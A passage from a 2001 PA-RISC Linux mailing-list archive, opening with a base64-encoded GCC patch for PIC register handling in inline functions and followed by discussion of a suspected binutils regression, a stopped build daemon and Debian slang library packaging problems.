Content-Type: TEXT/PLAIN; charset=US-ASCII; name="papic1.diff"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.30.0105141248310.12094@mullet.itr.unisa.edu.au>
Content-Description: 
Content-Disposition: attachment; filename="papic1.diff"

Z2NjL0NoYW5nZUxvZy5wdWZmaW4NCgkqIGNvbmZpZy9wYS9wYS5jIChocHBh
X2luaXRfcGljX3NhdmUpOiBSZXZlcnQgYmFjayB0byBzYXZpbmcgcGljDQoJ
cmVnaXN0ZXIgYWZ0ZXIgbGFzdF9wYXJtX2luc24uDQoJKGhwcGFfaW5saW5l
X3BpY19pbml0KTogTmV3IGZ1bmN0aW9uLg0KCSogY29uZmlnL3BhL3BhLmgg
KElOTElORV9QSUNfSU5JVCk6IERlZmluZS4NCgkoaHBwYV9pbmxpbmVfcGlj
X2luaXQpOiBEZWNsYXJlLg0KCSogaW50ZWdyYXRlLmMgKGV4cGFuZF9pbmxp
bmVfZnVuY3Rpb24pOiBDYWxsIElOTElORV9QSUNfSU5JVC4NCg0KSW5kZXg6
IGdjYy9pbnRlZ3JhdGUuYw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KUkNT
IGZpbGU6IC9ob21lL2N2cy9wYXJpc2MvZ2NjL2djYy9pbnRlZ3JhdGUuYyx2
DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuNg0KZGlmZiAtdSAtcCAtcjEuNiBp
bnRlZ3JhdGUuYw0KLS0tIGludGVncmF0ZS5jCTIwMDEvMDQvMTYgMDY6MzM6
MTEJMS42DQorKysgaW50ZWdyYXRlLmMJMjAwMS8wNS8xNCAwMjo0OTowMQ0K
QEAgLTgyNyw3ICs4MjcsMTIgQEAgZXhwYW5kX2lubGluZV9mdW5jdGlvbiAo
Zm5kZWNsLCBwYXJtcywgdA0KICAgLyogSWYgdGhlIGlubGluZSBmdW5jdGlv
biBuZWVkcyB0byBtYWtlIFBJQyByZWZlcmVuY2VzLCB0aGF0IG1lYW5zDQog
ICAgICB0aGF0IHRoaXMgZnVuY3Rpb24ncyBQSUMgb2Zmc2V0IHRhYmxlIG11
c3QgYmUgdXNlZC4gICovDQogICBpZiAoaW5sX2YtPnVzZXNfcGljX29mZnNl
dF90YWJsZSkNCi0gICAgY3VycmVudF9mdW5jdGlvbl91c2VzX3BpY19vZmZz
ZXRfdGFibGUgPSAxOw0KKyAgICB7DQorICAgICAgY3VycmVudF9mdW5jdGlv
bl91c2VzX3BpY19vZmZzZXRfdGFibGUgPSAxOw0KKyNpZmRlZiBJTkxJTkVf
UElDX0lOSVQNCisgICAgICBJTkxJTkVfUElDX0lOSVQgKGlubF9mLCBtYXAp
Ow0KKyNlbmRpZg0KKyAgICB9DQogDQogICAvKiBJZiB0aGlzIGZ1bmN0aW9u
IG5lZWRzIGEgY29udGV4dCwgc2V0IGl0IHVwLiAgKi8NCiAgIGlmIChpbmxf
Zi0+bmVlZHNfY29udGV4dCkNCkluZGV4OiBnY2MvY29uZmlnL3BhL3BhLmMN
Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT0NClJDUyBmaWxlOiAvaG9tZS9jdnMv
cGFyaXNjL2djYy9nY2MvY29uZmlnL3BhL3BhLmMsdg0KcmV0cmlldmluZyBy
ZXZpc2lvbiAxLjIxDQpkaWZmIC11IC1wIC1yMS4yMSBwYS5jDQotLS0gcGEu
YwkyMDAxLzA0LzE3IDAwOjQ1OjAxCTEuMjENCisrKyBwYS5jCTIwMDEvMDUv
MTQgMDI6NTA6MDMNCkBAIC00MSw2ICs0MSw3IEBAIEJvc3RvbiwgTUEgMDIx
MTEtMTMwNywgVVNBLiAgKi8NCiAjaW5jbHVkZSAidG9wbGV2LmgiDQogI2lu
Y2x1ZGUgImdnYy5oIg0KICNpbmNsdWRlICJyZWNvZy5oIg0KKyNpbmNsdWRl
ICJpbnRlZ3JhdGUuaCINCiAjaW5jbHVkZSAidG1fcC5oIg0KIA0KICNpZm5k
ZWYgRE9fRlJBTUVfTk9URVMNCkBAIC0zNDI5LDE5ICszNDI5LDUwIEBAIGhw
cGFfZXhwYW5kX2VwaWxvZ3VlICgpDQogdm9pZA0KIGhwcGFfaW5pdF9waWNf
c2F2ZSAoKQ0KIHsNCi0gIHJ0eCBpbnNuLCBwaWNyZWc7DQorICBydHggaW5z
biwgcGljcmVnLCB3aGVyZTsNCiANCiAgIHBpY3JlZyA9IGdlbl9ydHhfUkVH
ICh3b3JkX21vZGUsIFBJQ19PRkZTRVRfVEFCTEVfUkVHTlVNKTsNCiAgIFBJ
Q19PRkZTRVRfVEFCTEVfU0FWRV9SVFggPSBnZW5fcmVnX3J0eCAoUG1vZGUp
Ow0KICAgUlRYX1VOQ0hBTkdJTkdfUCAoUElDX09GRlNFVF9UQUJMRV9TQVZF
X1JUWCkgPSAxOw0KICAgaW5zbiA9IGdlbl9ydHhfU0VUIChWT0lEbW9kZSwg
UElDX09GRlNFVF9UQUJMRV9TQVZFX1JUWCwgcGljcmVnKTsNCiANCi0gIC8q
IEVtaXQgdGhlIGluc24gYXQgdGhlIGJlZ2lubmluZyBvZiB0aGUgZnVuY3Rp
b24gYWZ0ZXIgdGhlIHByb2xvZ3VlLiAgKi8NCi0gIGlmICh0YWlsX3JlY3Vy
c2lvbl9yZWVudHJ5KQ0KLSAgICBlbWl0X2luc25fYmVmb3JlIChpbnNuLCB0
YWlsX3JlY3Vyc2lvbl9yZWVudHJ5KTsNCi0gIGVsc2UNCi0gICAgLyogV2Ug
bXVzdCBoYXZlIGJlZW4gY2FsbGVkIHZpYSBQUk9GSUxFX0hPT0suICAqLw0K
LSAgICBlbWl0X2luc24gKGluc24pOw0KKyAgLyogRW1pdCB0aGUgaW5zbiBh
dCB0aGUgYmVnaW5uaW5nIG9mIHRoZSBmdW5jdGlvbiBhZnRlciB0aGUgcHJv
bG9ndWUuDQorICAgICBUaGUgc2V0am1wL2xvbmdqbXAgZXhjZXB0aW9uIGhh
bmRsaW5nIGNvZGUgZW1pdHMgYSBjYWxsDQorICAgICBpbW1lZGlhdGVseSBh
ZnRlciBsYXN0X3Bhcm1faW5zbiwgYW5kIHdlIG5lZWQgdGhlIHBpYyBzYXZl
DQorICAgICByZWdpc3RlciB2YWxpZCBiZWZvcmUgdGhlIGNhbGwuICBUaGF0
J3Mgd2h5IHRoaXMgaW5zbiBtdXN0IGJlDQorICAgICBwYXJ0IG9mIHRoZSBw
YXJtIGluc25zLiAgKi8NCisgIHdoZXJlID0gbGFzdF9wYXJtX2luc247DQor
ICBpZiAoIXdoZXJlKQ0KKyAgICB7DQorICAgICAgcHVzaF90b3Btb3N0X3Nl
cXVlbmNlICgpOw0KKyAgICAgIHdoZXJlID0gZ2V0X2luc25zICgpOw0KKyAg
ICAgIHBvcF90b3Btb3N0X3NlcXVlbmNlICgpOw0KKyAgICB9DQorICBsYXN0
X3Bhcm1faW5zbiA9IGVtaXRfaW5zbl9hZnRlciAoaW5zbiwgd2hlcmUpOw0K
K30NCisNCisvKiBVbmZvcnR1bmF0ZWx5LCBwYXJtIGluc25zIGFyZSBub3Qg
Y29waWVkIGZvciBpbmxpbmUgZnVuY3Rpb25zLCBzbw0KKyAgIHdlIG5lZWQg
dG8gY29weSB0aGUgaW5pdGlhbGl6YXRpb24gaGVyZS4gICovDQordm9pZA0K
K2hwcGFfaW5saW5lX3BpY19pbml0IChpbmxfZiwgbWFwKQ0KKyAgICAgc3Ry
dWN0IGZ1bmN0aW9uICppbmxfZjsNCisgICAgIHN0cnVjdCBpbmxpbmVfcmVt
YXAgKm1hcDsNCit7DQorICBpZiAoaW5sX2YtPm1hY2hpbmUtPnBpY19vZmZz
ZXRfdGFibGVfc2F2ZV9ydHgpDQorICAgIHsNCisgICAgICBpbnQgcmVnbm8g
PSBSRUdOTyAoaW5sX2YtPm1hY2hpbmUtPnBpY19vZmZzZXRfdGFibGVfc2F2
ZV9ydHgpOw0KKyAgICAgIHJ0eCBuZXcsIHBpY3JlZzsNCisNCisgICAgICBu
ZXcgPSBtYXAtPnJlZ19tYXBbcmVnbm9dOw0KKyAgICAgIGlmIChuZXcgPT0g
TlVMTCkNCisJew0KKwkgIG5ldyA9IGdlbl9yZWdfcnR4ICh3b3JkX21vZGUp
Ow0KKwkgIFJUWF9VTkNIQU5HSU5HX1AgKG5ldykgPSAxOw0KKwkgIG1hcC0+
cmVnX21hcFtyZWdub10gPSBuZXc7DQorCX0NCisgICAgICBwaWNyZWcgPSBn
ZW5fcnR4X1JFRyAod29yZF9tb2RlLCBQSUNfT0ZGU0VUX1RBQkxFX1JFR05V
TSk7DQorICAgICAgZW1pdF9pbnNuIChnZW5fcnR4X1NFVCAoVk9JRG1vZGUs
IG5ldywgcGljcmVnKSk7DQorICAgIH0NCiB9DQogDQogdm9pZA0KSW5kZXg6
IGdjYy9jb25maWcvcGEvcGEuaA0KPT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0K
UkNTIGZpbGU6IC9ob21lL2N2cy9wYXJpc2MvZ2NjL2djYy9jb25maWcvcGEv
cGEuaCx2DQpyZXRyaWV2aW5nIHJldmlzaW9uIDEuMTMNCmRpZmYgLXUgLXAg
LXIxLjEzIHBhLmgNCi0tLSBwYS5oCTIwMDEvMDUvMDEgMTI6NDA6MTQJMS4x
Mw0KKysrIHBhLmgJMjAwMS8wNS8xNCAwMjo1MDoyOQ0KQEAgLTUyMiw2ICs1
MjIsMTQgQEAgZXh0ZXJuIGludCB0YXJnZXRfZmxhZ3M7DQogI2RlZmluZSBQ
SUNfT0ZGU0VUX1RBQkxFX1NBVkVfUlRYIChjZnVuLT5tYWNoaW5lLT5waWNf
b2Zmc2V0X3RhYmxlX3NhdmVfcnR4KQ0KIGV4dGVybiB2b2lkIGhwcGFfaW5p
dF9waWNfc2F2ZSBQQVJBTVMgKCh2b2lkKSk7DQogDQorLyogSGFuZGxlIGFu
eSBzcGVjaWFsIGluaXRpYWxpemF0aW9uIG5lZWRlZCBmb3IgaW5saW5lIGZ1
bmN0aW9ucyB0aGF0DQorICAgbWFrZSBQSUMgcmVmZXJlbmNlcy4gICovDQor
I2RlZmluZSBJTkxJTkVfUElDX0lOSVQgaHBwYV9pbmxpbmVfcGljX2luaXQN
CitzdHJ1Y3QgZnVuY3Rpb247DQorc3RydWN0IGlubGluZV9yZW1hcDsNCitl
eHRlcm4gdm9pZCBocHBhX2lubGluZV9waWNfaW5pdCBcDQorICBQQVJBTVMg
KChzdHJ1Y3QgZnVuY3Rpb24gKiwgc3RydWN0IGlubGluZV9yZW1hcCAqKSk7
DQorDQogI2RlZmluZSBERUZBVUxUX1BDQ19TVFJVQ1RfUkVUVVJOIDANCiAN
CiAvKiBTT00gQUJJIHNheXMgdGhhdCBvYmplY3RzIGxhcmdlciB0aGFuIDY0
IGJpdHMgYXJlIHJldHVybmVkIGluIG1lbW9yeS4NCg==
--296515328-51119847-989810311=:12094--




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Mon, 14 May 2001 18:45:25 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010514184525.B6094@parcelfarce.linux.theplanet.co.uk>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620118 19334 80.91.229.3 (22 Nov 2014 01:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 14 11:46:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6D5C482A
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 11:46:06 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14zMPN-0008OT-00; Mon, 14 May 2001 18:45:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, May 13, 2001 at 02:15:22AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11046

On Sun, May 13, 2001 at 02:15:22AM +0100, Matthew Wilcox wrote:
> can anyone else confirm/deny problems?

I downgraded to binutils 2.11.90.0.5-1 from 2.11.90.0.7-1 and I've stopped
getting the unaligned references.  Would someone like to volunteer to
find the bug?  And does this mean we should stop the buildd?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bdale Garbee <bdale@gag.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: 14 May 2001 12:03:13 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <87u22ndd0e.fsf@rover.gag.com>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk>
	<20010514184525.B6094@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620118 19338 80.91.229.3 (22 Nov 2014 01:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 14 12:03:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rover.gag.com (rover.gag.com [192.133.104.32])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EAFA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 May 2001 12:03:43 -0600 (MDT)
Original-Received: by rover.gag.com (Postfix, from userid 1000)
	id B579C35FE8; Mon, 14 May 2001 12:03:13 -0600 (MDT)
Original-Sender: bdale@rover.gag.com
In-Reply-To: <20010514184525.B6094@parcelfarce.linux.theplanet.co.uk>
Original-Lines: 8
User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7
Xref: news.gmane.org gmane.linux.ports.parisc:11047

matthew@wil.cx (Matthew Wilcox) writes:

> And does this mean we should stop the buildd?

It has been down since my T1 routing got torched yesterday, I'll leave it
disabled until this is figured out.

Bdale




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn_helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Mon, 14 May 2001 09:18:18 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <01051409181800.21483@eeyore>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk> <200105130123.VAA25847@hiauly1.hia.nrc.ca> <20010513022857.D28266@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620118 19343 80.91.229.3 (22 Nov 2014 01:35:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:18 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 14 14:04:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel2.hp.com (palrel2.hp.com [156.153.255.234])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1F1D3482A
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 14:04:45 -0600 (MDT)
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [15.10.176.10])
	by palrel2.hp.com (Postfix) with ESMTP
	id 3EBACC60; Mon, 14 May 2001 13:03:54 -0700 (PDT)
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 8321A5104; Mon, 14 May 2001 11:19:02 -0400 (EDT)
Original-Received: from eeyore (eeyore.fc.hp.com [15.1.54.199])
	by udlkern.fc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.01) with SMTP id JAA02727;
	Mon, 14 May 2001 09:18:58 -0600 (MDT)
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010513022857.D28266@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11048

> IASQ: 00000185 00000185 IAOQ: 000127ab 000127af
>  IIR: 4835082e    ISR: 00000185  IOR: 000312e7
> ORIG_R28: bff00000

If you trust IIR:

$ echo 0x4835082e=i | adb
                LDW             1047(r1),r21




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Libstdc++-porting-howto
Date: Mon, 14 May 2001 18:28:17 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20010515002817.A4D9637CFC@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620119 19349 80.91.229.3 (22 Nov 2014 01:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:19 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 14 18:25:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 92AA3482A
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 18:25:42 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id 2E57681
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 20:25:38 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id A4D9637CFC
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 18:28:17 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:11049

With all the libstdc++-v3 porting issues we've been running into, willy 
discovered a really nice porting-howto. I'm sending it here so others know 
about it and I can't lose the URL again :)

http://gcc.gnu.org/onlinedocs/libstdc++/17_intro/porting-howto.html

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Tue, 15 May 2001 13:07:49 +0930
Lines: 16
Approved: news@gmane.org
Message-ID: <20010515130749.C11835@squeak.one.net.au>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk> <20010514184525.B6094@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620119 19355 80.91.229.3 (22 Nov 2014 01:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:19 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 14 21:34:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob04.one.net.au (mail-ob04.one.net.au [61.12.0.164])
	by dsl2.external.hp.com (Postfix) with ESMTP id 973BA482A
	for <parisc-linux@parisc-linux.org>; Mon, 14 May 2001 21:34:02 -0600 (MDT)
Original-Received: Received: [from squeak.local (async92-ade-isp-6.nas.one.net.au [61.12.243.93])
	by mail-ob04.one.net.au  with SMTP id f4F3XqY23288
	for <parisc-linux@parisc-linux.org>; Tue, 15 May 2001 13:33:56 +1000 (EST)]
Original-Received: (qmail 13532 invoked by uid 179); 15 May 2001 03:37:49 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010514184525.B6094@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Mon, May 14, 2001 at 06:45:25PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11050

On Mon, May 14, 2001 at 06:45:25PM +0100, Matthew Wilcox wrote:
> On Sun, May 13, 2001 at 02:15:22AM +0100, Matthew Wilcox wrote:
> > can anyone else confirm/deny problems?
> 
> I downgraded to binutils 2.11.90.0.5-1 from 2.11.90.0.7-1 and I've stopped
> getting the unaligned references.

Can you translate those meaningless (to me) version numbers into the
most recent date you see in bfd/, gas/, and ld/ ChangeLogs?

-- 
Alan Modra





From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] broken toolchain?
Date: Tue, 15 May 2001 13:24:14 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20010515132414.A27644@parcelfarce.linux.theplanet.co.uk>
References: <20010513021522.B28266@parcelfarce.linux.theplanet.co.uk> <20010514184525.B6094@parcelfarce.linux.theplanet.co.uk> <20010515130749.C11835@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620119 19358 80.91.229.3 (22 Nov 2014 01:35:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:19 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 15 06:24:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0A35482A
	for <parisc-linux@parisc-linux.org>; Tue, 15 May 2001 06:24:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14zds6-0007Ej-00; Tue, 15 May 2001 13:24:14 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010515130749.C11835@squeak.one.net.au>; from amodra@one.net.au on Tue, May 15, 2001 at 01:07:49PM +0930
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11051

On Tue, May 15, 2001 at 01:07:49PM +0930, amodra@one.net.au wrote:
> Can you translate those meaningless (to me) version numbers into the
> most recent date you see in bfd/, gas/, and ld/ ChangeLogs?

the version numbers are those supplied by HJ Lu (not meaningless debian
version numbers :-)

2.11.90.0.7 was based on 2001 0427
2.11.90.0.5 was based on 2001 0414

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] slang.so problems
Date: Tue, 15 May 2001 16:59:00 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20010515165900.H24955@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620120 19361 80.91.229.3 (22 Nov 2014 01:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 15 10:01:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust171.bre.cable.ntl.com [213.105.88.171])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66B4B482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 May 2001 10:01:25 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CCF77B007; Tue, 15 May 2001 16:59:00 +0100 (BST)
X-Mailer: Mutt 1.0us
Xref: news.gmane.org gmane.linux.ports.parisc:11052

I have had problems relating to slang.so when building boot-floppies.
I don't entirely understand what is going on, so I'm posting the
facts as I see them, so others can comment.

There are three packages, slang1, slang1-dev, slang1-pic (-pic probably
isn't relevant here).

The basic problem is that slang1 provides only libslang1.so.1 and
libslang.so.1.4.4, but various things expect libslang.so and so
wont run unless sland1-dev is installed.  slang1-dev provides
libslang.so.

Things I have found that are affected are cfdisk (in util-linux),
whiptail, and libnewt0.

As a test I installed the three slang1 packages from the debian
archive and did "gcc -o hw hw.c -lslang; ldd hw".  I get:

        libslang.so => /usr/lib/libslang.so (0x4002b000)
        libc.so.6 => /lib/libc.so.6 (0x400b0000)
        libm.so.6 => /lib/libm.so.6 (0x401f4000)
        libdl.so.2 => /lib/libdl.so.2 (0x40234000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

If I now remove slang1-dev, and try to run hw I get

./hw: error while loading shared libraries: libslang.so: cannot load shared object file: No such file or directory


If I build my own slang1 packages and install them and then remake
'hw', I get

        libslang.so.1 => /lib/libslang.so.1 (0x4002b000)
        libc.so.6 => /lib/libc.so.6 (0x400b0000)
        libm.so.6 => /lib/libm.so.6 (0x401f4000)
        libdl.so.2 => /lib/libdl.so.2 (0x40234000)
        /lib/ld.so.1 => /lib/ld.so.1 (0x40000000)

and 'hw' runs fine with slang1-dev removed, as it should.


cfdisk from the debain archive wont run unless slang1-dev is installed.
If I rebuild cfdisk myself, with the debian slang1 packages installed,
cfdisk still wants libslang.so.  If I rebuild cfdisk with my own build
slang1 packages installed, the resulting cfdisk wants libslang.so.1,
as it should.

So, it seems something is wrong with the slang1 packages in debian,
and that has resulted in bad util-linux, whiptail, and libnewt0 builds.

I don't know what might have gone wrong with the debian builds, because
when I build slang1 debs they are fine.

Can someone else try this, and, if appropriate, upload new slang*,
util-linux, whiptail, and libnewt0 packages to the archive?

Thanks,
  Richard





From - Thu Nov 08 21:17:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@beavis.ybsoft.com (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] J2240?
Date: Tue, 15 May 2001 23:15:19 -0600
Lines: 265
Approved: news@gmane.org
Message-ID: <20010515231519.A32007@beavis.ybsoft.com>
References: <3AFE1F8B.725C1B8B@scieneer.com> <20010513122336.A25045@beavis.ybsoft.com> <3AFEE176.28EBFC7A@scieneer.com> <20010513141405.A25241@beavis.ybsoft.com>
Reply-To: rbradetich@uswest.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="u3/rZRmxL6MmkK24"
X-Trace: ger.gmane.org 1416620120 19362 80.91.229.3 (22 Nov 2014 01:35:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Douglas T. Crosher" <dtc@scieneer.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue May 15 23:15:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
